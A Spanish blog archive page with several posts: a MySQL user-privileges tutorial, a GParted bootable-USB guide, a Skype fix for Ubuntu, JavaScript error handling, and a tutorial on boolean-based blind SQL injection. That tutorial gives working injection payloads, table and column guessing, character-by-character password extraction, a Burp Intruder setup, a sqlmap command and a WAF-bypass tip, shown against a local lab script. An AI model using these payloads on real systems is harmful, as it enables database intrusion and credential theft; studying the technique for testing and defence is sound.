jueves, 16 de mayo de 2013

MySQL MiniTutorial Parte 5

Introduccion

En esta parte del minicursillo de mysql veremos los permisos en los usuarios en mysql, es muy importante ya que de esta manera podemos especificar cosas como son: si tiene permisos de leer archivos del servidor, si tiene permisos de conectarse tantas veces a la base de datos, de hacer tantas consultas, de ver algunas bases de datos, columnas, filas, etc....


Usuarios Y Privilegios

Empecemos definiendo como esta creado un usuario, es decir, como puede ser identificado por el servidor, de manera que los haya dos usuarios con el mismo nombre pero el servidor pueda identificarlos como dos usuarios diferentes....

Por ejemplo, podemos tener dos usuarios con el nombre joe:

joe@localhost

joe@192.168.1.2

Con esto indicariamos que hay dos usuarios diferentes llamados joe, uno desde la maquina local y otro desde otra maquina que esta en la subred...
El arroba lo usamos como un tipo de separador!, entonces tenemos dos identificadores en mysql en este caso seria el user y el host... todo esto se puede conseguir desde la base de datos de mysql.... Por ejemplo:


En el caso de esta imagen, tengo una consulta como la siguiente:

select user,host,password from mysql.user;

me muestra 8 filas.... en este caso solo tengo en realidad 3 usuarios....
¿Por que solo tres usuarios? Pues por que el usuario root es el mismo para todo por que siempre esta indicando al mismo host en este caso localhost, arthusu-PC,127.0.0.1,::1 son el mismo host pero puede interpretarse de diferente manera como lo ves en la imagen.... Tambien podemos encontrar muchas columnas y filas interesantes en la base de datos mysql:


Nombre tabla user db host
Alcance columnas Host Host Host
  User Db Db
  Password User  
Columnas privilegios Select_priv Select_priv Select_priv
  Insert_priv Insert_priv Insert_priv
  Update_priv Update_priv Update_priv
  Delete_priv Delete_priv Delete_priv
  Index_priv Index_priv Index_priv
  Alter_priv Alter_priv Alter_priv
  Create_priv Create_priv Create_priv
  Drop_priv Drop_priv Drop_priv
  Grant_priv Grant_priv Grant_priv
  Create_view_priv Create_view_priv Create_view_priv
  Show_view_priv Show_view_priv Show_view_priv
  Create_routine_priv Create_routine_priv  
  Alter_routine_priv Alter_routine_priv  
  References_priv References_priv References_priv
  Reload_priv    
  Shutdown_priv    
  Process_priv    
  File_priv    
  Show_db_priv    
  Super_priv    
  Create_tmp_table_priv Create_tmp_table_priv Create_tmp_table_priv
  Lock_tables_priv Lock_tables_priv Lock_tables_priv
  Execute_priv    
  Repl_slave_priv    
  Repl_client_priv    
Columnas seguridad ssl_type    
  ssl_cipher    
  x509_issuer    
  x509_subject    
Columnas recursos control max_questions    
  max_updates    
  max_connections    
  max_user_connections  
Desde la cual podriamos modificar todo lo que estamos viendo en este minitutorial.... como ver los privilegios, modificarlos, eliminar un usuario, etc todo usando un usuario con los suficientes privilegios y algunas consultas que podemos hacer con lo anteriormente aprendido :) seria una buena forma de dejarles una tarea :D ja!

Otra forma de saberlo seria, por ejemplo si estamos conectados a la base de datos:

select current_user();


Como puedes ver el user que estoy usando actualmente es root@localhost

Crear una cuenta de usuario

Veremos como crear una cuenta de usuario con el comando CREATE USER, para ello veremos primero su sintaxis que es la siguiente:

CREATE USER user [IDENTIFIED BY [PASSWORD] 'password']
    [, user [IDENTIFIED BY [PASSWORD] 'password']] ...
La sintaxis la he tomado desde la pagina oficial de mysql, en este caso solo debo definir algunos puntos....

CREATE USER - el comando para crear un usuario
user - el nombre del usuario en este caso puede ser el que tu quieras, por ejemplo: arthusuBLOG

Luego sigue algo como esto  [] todo lo que este encerrado entre esos corchetes es opcional, es decir, lo ponemos si nosotros queremos pero si no queremos no, es mas bien si lo ocupamos o no....

IDENTIFIED BY [PASSWORD] - especificamos la contraseña que queremos que tenga ese usuario

Entonces ya sabemos como funciona la sintaxis estamos listo para hacer nuestra consulta de crear un usuario, no sin antes decir, que para poder crear un usuario primero que nada en el usuario que me encuentro en este momento debe tener privilegios de CREATE USER o INSERT en la base de datos mysql....

podemos ver los privilegios del usuario que deseemos de esta manera:

SHOW GRANTS FOR user;

donde user es el usuario que deseas ver los permisos que tiene o privilegios....





Como podemos ver en este caso tengo todos los privilegios en todas las bases de datos... para saber los privilegios puedo ver la lista:





Privilegio Columna Contexto
CREATE Create_priv bases de datos, tablas, o índices
DROP Drop_priv bases de datos o tablas
GRANT OPTION Grant_priv bases de datos, tablas, o procedimientos almacenados
REFERENCES References_priv bases de datos o tables
ALTER Alter_priv tablas
DELETE Delete_priv tablas
INDEX Index_priv tablas
INSERT Insert_priv tablas
SELECT Select_priv tablas
UPDATE Update_priv tablas
CREATE VIEW Create_view_priv vistas
SHOW VIEW Show_view_priv vistas
ALTER ROUTINE Alter_routine_priv procedimientos almacenados
CREATE ROUTINE Create_routine_priv procedimientos almacenados
EXECUTE Execute_priv procedimientos almacenados
FILE File_priv acceso a archivos en la máquina del servidor
CREATE TEMPORARY TABLES Create_tmp_table_priv administración del servidor
LOCK TABLES Lock_tables_priv administración del servidor
CREATE USER Create_user_priv administración del servidor
PROCESS Process_priv administración del servidor
RELOAD Reload_priv administración del servidor
REPLICATION CLIENT Repl_client_priv administración del servidor
REPLICATION SLAVE Repl_slave_priv administración del servidor
SHOW DATABASES Show_db_priv administración del servidor
SHUTDOWN Shutdown_priv administración del servidor
SUPER Super_priv administración del servidor

Esta tabla ha sido tomada de la pagina oficial de mysql...


Entonces creo nuestro usuario que en este caso se llamara arthusublog y su host sera localhost y la contraseña sera mipass... en este caso utilice la funcion PASSWORD() para que me generara un hash de mysql v5 y lo pegue tal como texto plano :D





CREATE USER arthusu@localhost IDENTIFIED BY '*EA8CE51785AFEB6794A7F248E0D0F86C9A494E29 ';

Otra cosa que pasa es que este usuario no puede ser usado por que nos mandara un mensaje de error como el siguiente:


Esto se debe a que le usuario existe pero no tiene permisos de nada, ni siquera de entrar... xD

Entonces le asignare todos los permisos, en este caso, aunque podria ser de diferente manera y no asignar solo permisos especificos, pero como en este caso no estamos viendo a profundidad el comando GRANT entonces solo explicaremos que es lo que que hace el siguiente comando:



En este caso le damos todos los privilegios al usuario arthusu@localhost y despues actualizamos los privilegios con flush privileges.... esto es muy importante por que si no lo hacemos no nos dejara entrar... ya que los privilegios no serian actualizados y no tomaria la consulta anterior...

con esto podriamos decir que tenemos otro usuario administrativo :P
Entonces accedemos a el, esto lo vimos si no estoy mal de memoria en la primera parte.

mysql -u arthusublog -p mipass






Renombrar un usuario

En este caso veremos como renombrar el usuario que acabamos de crear que en este caso en arthusublog lo renombraremos a arthusu para eso usaremos el comando RENAME USER, la sintaxis es la siguiente:


RENAME USER old_user TO new_user
    [, old_user TO new_user] ...


RENAME USER - lo que hace es renombrar un usuario
old_user - es el usuario actual
new_user - es el nuevo nombre que le daremos al usuario
[,old_user TO new_user] - esto es opcional podemos indicar mas de 1 usuario a renombrar especificando una coma despues de el otro usuario :P

Veamos en un ejemplo:


Dar privilegios y Quitar Privilegios

Para conceder o dar privilegios usamos el comando GRANT, su sintaxis es la siguiente:


GRANT priv_type [(column_list)] [, priv_type [(column_list)]] ...
    ON [object_type] {tbl_name | * | *.* | db_name.*}
    TO user [IDENTIFIED BY [PASSWORD] 'password']
        [, user [IDENTIFIED BY [PASSWORD] 'password']] ...
    [REQUIRE
        NONE |
        [{SSL| X509}]
        [CIPHER 'cipher' [AND]]
        [ISSUER 'issuer' [AND]]
        [SUBJECT 'subject']]
    [WITH with_option [with_option] ...]

object_type =
    TABLE
  | FUNCTION
  | PROCEDURE

with_option =
    GRANT OPTION
  | MAX_QUERIES_PER_HOUR count
  | MAX_UPDATES_PER_HOUR count
  | MAX_CONNECTIONS_PER_HOUR count
  | MAX_USER_CONNECTIONS count


Si es un poco larga por que tiene su lista de opcionales :D
Antes de continuar quiero decirles que para poder dar privilegios el usuario que utilices necesita tener activada la opcion  GRANT OPTION.
En este caso explicaremos lo mas utilizado:

GRANT - concede privilegios
priv_type - El tipo de privilegio, por ejemplo: SELECT,ALTER,ALTER,INSERT,UPDATE,etc todo esto lo puedes ver en la segunda tabla de arriba :D
ON - indica que sigue un object_type que es una tabla,funcion o procedimiento, o sigue una tabla o una database... o *.* que seria cualquiera, el simbolo * es el que significa cualquiera o todo....
TO -  luego de el sigue el usuario donde tambien si quisieramos modificar la constraseña podriamos indicarla...
WITH - indica algunas cosas interesantes como puede ser lo que el usuario puede hacer, como por ejemplo: maximo de conecciones por hora, el maximo de peticiones por hora, etc...

Veamos un ejemplo, con el usuario que tenemos arthusuxd no queremos que tenga todo el control sino que solo pueda realizar select (coger datos) solo en la base de datos mysql y que solo pueda realizar 5 peticiones por hora....


Pero antes de poder darle privilegios a este usuario primero debemos revocarle o quitarle los permisos que tenia anteriormente que eran todos....

Esto lo hacemos con REVOKE...Su sintaxis es:

REVOKE priv_type [(column_list)] [, priv_type [(column_list)]] ...
    ON [object_type] {tbl_name | * | *.* | db_name.*}
    FROM user [, user] ...

REVOKE - quita privilegios
priv_type - El tipo de privilegio, por ejemplo: SELECT,ALTER,ALTER,INSERT,UPDATE,etc todo esto lo puedes ver en la segunda tabla de arriba :D
ON - indica que sigue un object_type que es una tabla,funcion o procedimiento, o sigue una tabla o una database... o *.* que seria cualquiera, el simbolo * es el que significa cualquiera o todo....
FROM  user - indica el usuario a revocar o quitar privilegios donde user vendria siendo el usuario al que le quieres quitar privilegios...

En este caso le quito todos los privilegios que tenia y luego actualizo la lista de privilegios, con esto cuando muestro los privilegios de ese usuario solo se queda con USAGE que en realidad significa que no tiene ningun privilegio :P

Ahora si le daremos los privilegios que anteriormente queriamos tener:





Estamos listos para probar esos privilegios:

Como puedes ver hemos sobrepasado las 5 peticiones por hora :D

Pero en este caso si quisieramos reiniciar de nuevo las peticiones hacemos una actualizacion en la base de datos mysql en la columna max_questions del usuario arthusu@localhost y lo dejariamos a 10 por ejemplo :D.....
Con esto tendriamos 10 consultas XD....






Eliminar un usuario

Por ultimo si ya no quisieramos usar ese usuario simplemente lo eliminamos :D
La sintaxis es la siguiente:

DROP USER user [, user] ...

DROP USER - indica que se va eliminar un usuario
user- es el nombre del usuario a eliminar
[,user] - es opcional podemos eliminar mas de un usuario

Veamos un ejemplo:

DROP user arthusuxd@localhost;


De esta forma he eliminado el usuario arthusuxd@localhost y puedo comprobarlo viendo el user,host desde mysql.user....

Espero que les haya gustado el minitutorial y esperen el proximo, jeje no habia tenido tiempo de postear algo asi que aqui esta :P XD

sábado, 4 de mayo de 2013

Crear un USB booteable con Gparted



Pues bueno en esta ocasion les mostraré como hacerse un usb booteable con ubuntu de manera que podamos crear un usb booteable de un sistema operativo como puede ser: Windows, Ubuntu,Backtrac,Etc...

Lo que necesitamos:

*USB
*CD/DVD o ISO
*GPARTED

En este caso estoy utilizando un USB Kingston de 8GB y un DVD con Windows 8.
Vamos a hacerlo por pasos para que todos comprendamos :D

1.- Inserta el CD/DVD o ISO
2.- Inserta el USB
3.- Abre el  GPARTED (Te pedirá contraseña)
4.- Seleccionamos nuestro USB donde dice /dev/sdx donde x es tu disco USB
5.- Clickeamos sobre la particion (clic cerecho) y Desmontamos...
6.- Clickeamos de nuevo (clic derecho) y le damos formatear como>NTFS (En nuestro caso un  Windows 8)
7.- Le damos a la palomita para aplicar cambios



8.- Nos dirigimos a la unidad CD/DVD y damos la combinacion de teclas ctrl+a (seleccionar todo), y luego ctrl+c (copiar)....
9.- Nos dirigimos a la unidad USB y le damos ctrl+v (pegar)
10.- Abre el  GPARTED (Te pedirá contraseña)
11.- Seleccionamos nuestro USB donde dice /dev/sdx donde x es tu disco USB
12.- Clickeamos sobre la particion (clic derecho) y le damos Gestionar opciones>Seleccionamos Boot Cerramos



Listo ya es booteable nuestra unidad USB esto sin usar ningun tipo de programas como Unetbootin, WintoUSB, etc Solo usando  GPARTED (administrador de particiones :D ).

Espero que este tutorial les haya gustado y les sea de utilidad





domingo, 28 de abril de 2013

Blind SQLi Boolean Based mysql



bievenidos a este nuevo "tutorial xD" visitantes del blog, en este caso veremos una inyeccion no se si es bastante comun...

bueno antes que nada quiero decirles que en este tutorial trabajaremos viendo el codigo y en el back-end, de esta manera para comprender mejor lo que estamos haciendo, se recomienda tener conocimientos basicos de PHP y Mysql....

Por ultimo pasaremos a usar una herramienta en la cual haremos la inyeccion de una manera mas 'rapida' aunque no del todo, de igual forma veremos como automatizar la inyeccion.

Que es Blind SQLI Boolean Based

Como puedes ver me refiero a blind sqli con una inyeccion sqli de manera oculta, es decir, que no muestra errores, y boolean based, me refiero a que esta basada en datos booleanos verdadero o falso, de esta manera tenemos una idea de que estamos correctos o estamos incorrectos :P

Si quieren una mejor definicion que la mia pues tienen wikipedia: http://es.wikipedia.org/wiki/Blind_SQL_injection

¿Por que ocurre esta inyeccion?

Esta inyeccion ocurre por que no se muestran mensajes de error, es decir podemos tener una consulta vulnerable a sqli pero si no se muestra mysql_error() o alguna funcion de error, entonces solo veremos como la pagina se "deforma" de manera que podriamos saber que podria ser vulnerable, muchas veces esto tambien pasa por que los programadores piensan que con solo agregar error_reporting(0) o @$id=1; a su codigo tendran seguros de que no pueden ser inyectados, pero como me dijo una ves un amigo por msn, esto puede ser una cosa "estupida de programar" y bueno ahora veo por que....


Analizando el codigo

Bueno esta es una de las cosas que mas nos gusta XDDD jaja, quiero antes decir, que es bueno que aprendan algo basico de mysql, en este mismo blog pueden encontrar unas "miniseries de mysql" para aprender lo basico... lo que mas se vera seran las consultas y algunas funciones que sirven para cierta cosa....


El codigo de la aplicacion es el siguiente (lo he sacado del manual de ka0x donde tambien explica blind_sqli por que para esta practica estaba bien ponerlo):

http://pastebin.com/KDSbaSGD

Lo que hace esto es solo seleccionar los registros dependiendo del identificador ( 1,2,3...etc ) que le asignes a la variable id.

Tiene dos cosas que aqui son muy importantes:

@mysql_num_rows($query)==0
@mysql_fetch_row($query)

donde @  tapa el error, en la primera obtenemos el numero de filas de una peticion y si es igual a cero simplemente mostramos un mensaje de "No hay columnas" y la segunda lo que hace es obtener los registros como arrays con la peticion anterior....

De esta manera "sabremos" que cuando tire "No hay columnas" en realidad esta tirando un error y cuando se muestren los datos correctamente entonces estamos en lo correcto, de esta manera es verdadero o falso (boolean based :) )...

Como mencione mas arriba es necesario que sepan un poco de PHP y MYSQL para poder comprender mejor el codigo y poder imaginarnos el tipo de consultas que podemos hacer y como trabaja la mente de ese programador.... esto me lo enseño un amigo y es realmente como se descubren las SQLi, no hay trucos detrás XD :P (puede que tips si pero trucos no xD)....


Inyectando en el codigo SQL


Me refiero a inyectar el codigo  SQL, por que en realidad lo que hacemos es inyectar en una variable PHP lo interpreta y lo envia al servidor para que mysql trabaje y que cause nuestro error (en este caso oculto xD).

Veamos entonces tenemos una consulta asi:

select * from users where id=$id;

http://vulnerable.com?id=1
http://vulnerable.com?id=2

http://vulnerable.com?id=3
http://vulnerable.com?id=ETC
 
sabemos que la variable id es vulnerable, entonces inyectamos algo que rompa la consulta.....

Asi esta nuestra aplicacion corriendo correctamente:



Entonces inyectamos un ' para romper la consulta....
De esta manera hemos  "deformado la pagina" y sabemos que no nos ha devuelto algo correcto (verdadero) sino algo incorrecto (falso) de esta manera sabemos que la consulta se ha roto...


Comprobemos que estamos en lo correcto :D

Para ello haremos una consulta utilizando falso o verdadero :D
Como dijimos esta era nuestra consulta:

select * from users where id=$id;

modificando la consulta veremos si nos devuelve correctamente los valores verdadero y falso....

select * from users where id=$id and 1=1;
select * from users where id=$id and 1=0;

Lo que estamos haciendo aqui, es verificar, si 1 es igual a 1 que en este caso es cierto (verdadero) no tendremos errores en la consulta

Pero por ejemplo si 1 es igual a 0 que es incorrecto (falso) entonces deberiamos de tener un error ahi por que para poder que se cumpla una consulta se deben cumplir ambos (verificar la tabla de la verdad de los minitutoriales de mysql xD)

de esta manera podemos modificar la consulta:

http://vulnerable.com?id=1 and 1=1
http://vulnerable.com?id=1 and 1=0

no necesariamente tenemos que poner and 1=1, solo lo ponemos para entender rapidamente el ejemplo, pero tambien podemos usar having, div, o letras.... por ejemplo:

http://vulnerable.com?id=1 having 1=1
http://vulnerable.com?id=1 having 1=0

o

http://vulnerable.com?id=1 div 1
http://vulnerable.com?id=1 div 0

tambien podriamos usar true o false en lugar de 1 o 0, de esta manera evitariamos (bypasseariamos) algunos WAFs (Web application firewall)...

De esta manera:

 

 Asi entendiendo el concepto de boolean based :D, podemos trabajar facilmente.... haciendo consultas de este tipo:


http://vulnerable.com?id=1 and substring(version(),1,1)=5
http://vulnerable.com?id=1 and substring(version(),1,1)=4

de esta manera estamos diciendo que coja el primer caracter de la string que arroja la variable version() y comprobemos si es igual a 5 o 4 siendo estas las versiones del mysql :D... para comprenderlo mejor trabajaremos en el back-end de mysql....




Ahi pueden ver como trabaja.... es decir seleccionamos la version pueden ver que la cadena contiene un 5, es decir, la version es 5, entonces despues seleccionamos el primer caracter de la cadena arthusu en este caso es a, ahora si tenemos la consulta y comprobamos si es igual a 5 nos muestra la consulta tal y como la pedimos pero si la consulta no es igual a 5 muestra que no se encuentran los registros que pedimos :(

De esta manera:


Obteniendo el nombre de la tabla

para obtener el nombre de la tabla podemos usar dos maneras, aunque creo que pueden existir mas variaciones no sabria pero podrian aver creado una en estos momentos xDDD....

con esta consulta:

select * from users where id=1 and (select 1 from tabla limit 0,1)=1;

podriamos decir que estamos que estamos haciendo lo mismo que arriba que es and 1=1 pero en este caso usamos select para seleccionar un campo o registro....

donde tabla seria la tabla que estariamos buscando y como no sabemos cual es dependiendo de como sea la pagina podemos crear una lista de palabras comunes utilizadas para derechos administrativos e intentar de una a una hasta dar con una (brute force)

otra manera es seleccionar todas las filas con count(*):

select * from users where id=1 and (select count(*) from tabla);

en caso donde tabla seria la tabla que buscariamos y count(*) esta contando todas las filas que en este caso son 3.... para que no nos bote error....

De esta manera:









Para comprender mejor como funciona el count(*) pueden ver la serie de minitutoriales de mysql.... pero en realidad lo que hace es seleccionar todas las filas de esta manera no tendremos errores en los campos de la consulta y podremos empezar a buscar la tabla hasta dar con una....



en este caso la tabla es users

podemos ir sacando un bloc de notas o tomboy o lo que sea para ir anotando la version la tabla las columnas etc etc.....

 de manera que ya sabemos cual es la tabla, podemos hacer unas comprobaciones para saber el numero de filas que contiene la tabla, ¿como?
simple, teniamos esta consula:

select * from users where id=1 and (select count(*) from tabla);

sabemos que selecciona todos los registros users y selecciona todos los registros desde la tabla encontrada.. en este caso tambien es users (no necesesariamente podriamos encontrar la misma tabla la mayoria de las veces es una diferente :P)
sabiendo esto podriamos hacer la consulta comprobando el numero de filas que ya esta haciendo con count(*), es decir:

select * from users where id=1 and (select count(*) from users)=3;

 esto daria un verdadero por que en realidad si tenemos 3 filas en la tabla users.... lo puedes ver en el ejemplo de arriba donde mostramos los datos en el back-end... en caso de que fuera otro valor devolveria falso, tambien podemos usar > < en lugar de = para ir acercandonos al resultado deseado....



Obteniendo el nombre de la columna

Pues tenemos la tabla con la siguiente consulta:


select * from users where id=1 and (select count(*) from tabla);

solo habria que cambiar el count(*) donde * significa que seleccione todas las columnas, pues solamente intentaremos hasta dar con la columna deseada :)


select * from users where id=1 and (select count(username) from users); ---> FALSO

select * from users where id=1 and (select count(password) from users); --->VERDADERO

ahi tenemos dos consultas donde la primera selecciona la columna username la cual no existe entonces la pagina arrojaria falso, pero si en caso de introducir username introducimos password que si existe devolveria verdadero :)

Anteriormente tambien teniamos un consulta de tipo verdadero:

select * from users where id=1 and (select 1 from tabla)=1;

Entonces podemos aplicar lo mismo de arriba y seleccionar la columna deseada de esta manera:

select * from users where id=1 and (select substring(concat(1,username)1,1) from users limit 0,1)=1; --->FALSO

select * from users where id=1 and (select substring(concat(1,password),1,1) from users limit 0,1)=1; --->VERDADERO

explicare la consulta 2 que es nuestra inyeccion :P decimos que seleccione el primer caracter de la columna password (esta concatenando con 1 como anteriormente vimos para que no genere un error, aunque es como costumbre por que podemos hacerlo sin 1 :P) desde users limitando al primer registro que esto sea igual a verdadero, es decir, verdadero es igual a verdadero o falso es igual a verdadero en la primera consulta :P

Siendo asi tenemos:



Si queremos obtener el tamaño de una columna podriamos hacerlo de la siguiente manera:

select * from users where id=1 and (select length(password) from users limit 0,1)=5; --->FALSO
select * from users where id=1 and (select length(password) from users limit 0,1)=7; --->VERDADERO




length nos devuelve el tamaño del primer registro (limit 0,1). Ejemplo:





Obteniendo los registros


Hasta ahora hemos estado obtenteniendo las tablas, las columnas, y ahora viene lo mas importante que seria los registros.....
En este caso nos guiaremos de las consultas anteriores para realizar la busqueda, en este caso buscaremos por caracteres ascii (les digo por caracteres ascii por que hay otras formas de realizar esto pueden visitar AlguienEnLaFisi que se encuentra en webs amigas de este blog donde viene un tutorial para hacer blind sqli con menos consultas :D), bueno siendo asi veamos como quedaran estas consultas:

select * from users where id=1 and ascii(substring((select password from users limit 0,1),1,1))>50; --->FALSO


select * from users where id=1 and ascii(substring((select password from users limit 0,1),1,1))<50; --->VERDADERO

Lo que estamos haciendo en esta consulta es seleccionando el primer caracter del primer registro de la columna password y verificando si su valor ascii es mayor a 50 o menor a 50, en este caso es menor a 50....

en este caso despues de prueba y error me ha saltado que es:

select * from users where id=1 and ascii(substring((select password from users limit 0,1),1,1))=49;

entonces el valor ascii es 49 :D para verificar estos valores podemos usar una tabla con valores ascii...



 o tambien desde el back-end haciendo un select con la funcion char, vendria siendo: select char(49); donde 49 es el valor ascii....

en este caso es el numero 1






haciendo esto en el front-end veamos las consultas que se realizan :D


de esta manera para obtener los siguientes caracteres solo habria que
ir cambiando el numero de caracter en substring y el numero de valor ascii....



select * from users where id=1 and ascii(substring((select password from users limit 0,1),2,1))=49 --->FALSO


select * from users where id=1 and ascii(substring((select password from users limit 0,1),1,1))=50 ---> VERDADERO

y como sabemos que tenemos 7 caracteres en ese primer registro
por la consulta que ya habiamos hecho anteriormente:

select * from users where id=1 and (select length(password) from users limit 0,1)=7;

 De esta manera solo nos tocaria seguir decifrando.... pero esto es algo tardado dependiendo de los datos que tenga el servidor, es por eso que muchos utilizan herramientas para automatizar este proceso, entonces primero semi-automatizare el proceso y luego automatizare por completo :D


Proceso Semi-Automatizado

En este caso para este proceso utilizaremos Burp Suite que lo pueden descargar gratuito desde su sitio oficial: http://portswigger.net/burp//download.html

Lo habrimos y configuramos en firefox como proxy (Editar>Preferencias>Avanzado>red>Configurar>configuracion manual de proxy>127.0.0.1:8080 que es por defecto como viene...) 

De esta manera haremos la peticion a la pagina vulnerable a blind sqli boolean based e intentaremos inyectar por medio de burp suite de manera semi-automatizada.....

vemos en proxy que se intercepto la peticion correctamente:
le damos ctrl+i para enviarlo a intruder....

Vamos a la pestaña intruder>positions.... en este caso tenemos algo asi:

GET /blind_sqli.php?id=§1§ HTTP/1.1

y la posicion seleccionada es la variable §1§  lo quitamos dando en clear....

ahora haremos nuestro payload es decir nuestro vector de ataque:

GET /blind_sqli.php?id=1 and ascii(substring((select password from users limit 0,1),1,1))=§1§ HTTP/1.1

en este caso solo inyectamos nuestro codigo y seleccionamos §1§ como el valor ascii.... para seleccionarlo solo seleccionar 1 y darle en add

Despues vamos a payloads>seleccionamos en payload type: Numbers y le damos un rango de 32-126 de 1 en 1 eso lo hice viendo la tabla ascii de arriba... la configuracion quedaria asi:




Listo ya esta todo configurado, esto hara 95 peticiones algo exagerado.... pero nos podemos ir mirando hasta que encontremos un length que arroje la pagina diferente a todos los demas ese seria nuestro primer caracter.....

Intruder>Start Attack

mirando nuestro ataque:



Como vemos ahi podemos darnos cuenta que nuestro payload seria 29 el tamaño(length) de la respuesta es mayor y si vemos la respuesta(response) podemos asegurar que es la correcta el primer caracter es el numero 49 :D y asi podemos ir sacando los siguientes caracteres... si sigue buscando dale Attack>Pause y Cerrar :P

Automatizando el proceso

Para este caso utilizaremos SQLMAP lo pueden bajar desde su sitio oficial:
http://sqlmap.org/

En este caso utilizaremos este ataque:

./sqlmap.py --url="http://localhost/blind_sqli.php?id=1" -p id --dbms="mysql" --random-agent --threads=2 --tables

No explico en este tutorial el uso de sqlmap en todo caso tienen muchos tutos de el en la red o su mismo manual oficial que esta muy completo....
De todas maneras explicare las opciones usadas....

--url - Especifica la url
-p - Indica el parametro vulnerable
--dbms - Indica la base de datos que se esta utilizando
--random-agent - Elige un navegador aleatorio para enviar la peticion
--threads - Es el numero de peticiones maxima que hara
--tables - Indica que quiero que dumpee las tablas 

De esta manera nos arroja los resultados deseados con solo esperar :)






Por ultimo les dejo un video realizando Blind SQLi Boolean based espero que sea de su agrado :D




Si les gusto el tutorial comenten :P je saludos

sábado, 27 de abril de 2013

Solucionar problema con skype en ubuntu 13.04 cuando no abre

Hola amigos, he instalado ubuntu 13.04 en mi equipo y pasa que las primeras cosas que quiero hacer es abrir mi skype y no lanza no abre :(

Bueno pues buscando en internet di con la solucion y el problema se debe a que los problemas son causados por nvidia....


Cabe aclarar que donde encontre la informacion dice:
Que algunos usuarios usan AMD/ATI drivers y no hay problemas

Bueno para arreglar el problema es tan simple como usar la terminal :D

1.-Abrimos la terminal
2.-renombramos skype:
sudo mv /usr/bin/skype /usr/bin/skype-bin
3.-Creamos un archivo llamado skype (este archivo estará en blanco):
gksu gedit /usr/bin/skype
4.-Pegamos el siguiente codigo bash:

#!/bin/sh
export LD_PRELOAD=/usr/lib/i386-linux-gnu/mesa/libGL.so.1
exec skype-bin "$@"


Aqui estamos dando una variable de entorno....

5.-Guardamos el archivo
6.-Le damos permisos al archivo que creamos:
sudo chmod 0755 /usr/bin/skype

Listo ahora puedes abrir skype y charlar comodamente :D

Si no funciona y quieren revertir los cambios, hagan los siguientes pasos:

1.-Eliminamos el archivo que creamos:
sudo rm /usr/bin/skype
2.-Renombramos de nuevo el archivo como estaba originalmente
sudo mv /usr/bin/skype-bin /usr/bin/skype

Bueno eso es todo hasta aqui espero este post le sea de ayuda muchos que tengan el mismo problema que yo, saludos

Fuente: http://www.webupd8.org/2013/04/fix-skype-not-working-in-ubuntu-1304.html

lunes, 22 de abril de 2013

[JavaScript] Detectando Errores

Bueno anteriormente publique una entrada la cual era un juego de piedra, papel o tijera... en la cual probabamos el codigo javascript en la consola de firebug, aunque puede ser de utilidad para comprobar errores tambien en este caso explicaremos dos de mis favoritas :P

Empezaremos con algo que viene ya en W3schools y nos guiaremos de ella :D

Try...Throw...Catch

Estos son la utilizacion de try (intentar ejecutar codigo)... throw (lanzar mensaje personalizado)... catch (atrapar errores)....

Bueno siempre que programas un script en javascript pueden suceder errores, y con try,throw y catch podemos saber por que suceden tales errores....


Bueno aunque no es necesario usar throw muchas veces puede resultar util para personalizar nuestro mensaje de error, por lo cual veremos un ejemplo de try...catch y uno de try...throw...catch 

Ejemplo de try...catch:

http://pastebin.com/GASKznc1

Lo que hace esto es intentar ejecutar el codigo que se encuentra entre try { code} pero si el codigo es erroneo se pasa a catch el cual lanza un mensaje de alerta con el error, en este caso e que es el parametro de catch, nos ayuda para que se muestre el mensaje que recogio e.message

Imagen de ejemplo

Como puedes ver nos lanza el mensaje de error en este caso nos dice que adddlert no esta definida y como es claro esa funcion no existe :P

Ahora podriamos personalizar ese mensaje de adddlert pero mejor veremos otro ejemplo, estos dos ejemplos que les muestro los pueden ver en w3schools, les deje el enlace arriba :P

Ejemplo try...throw...catch:


En este ejemplo lo que hacemos es darle un rango de valores al input... entre 5 y 10 si es menor lo mostramos si es mayor tambien si esta vacio tambien si es una letra tambien xDDD :P

 
Imagen ejemplo 2


Por consola y firebug

En realidad yo trabajo con firefox y no tengo idea si otros navegadores incluyen una consola de este tipo de todas formas creo que muchos deben de tenerlo solo es cuestion de buscarle XDD

En este caso yo utilizo Web Developer Tool y de ahi la saco la consola.... Desde Tools>Error Console....
o Tambien la tachita que muestra te dice el error que puede estar causando...
Y tambien esta firebug que es demasiado bueno para hacer debug jeje 

Aqui tenemos el ultimo ejemplo parecido al primero siendo que tenemos el mismo error, pero en este caso no utilizamos try...catch...

Ejemplo 3:



Imagen ejemplo 1

Como puedes ver en la imagen de ejemplo en este caso utilizamos la consola de errores para detectar el error


Imagen ejemplo 2

Y en este otro ejemplo utilizamos firebug para detectar el error...

Espero que estos consejos o tutorial les haya sido de utilidad a mas de uno :P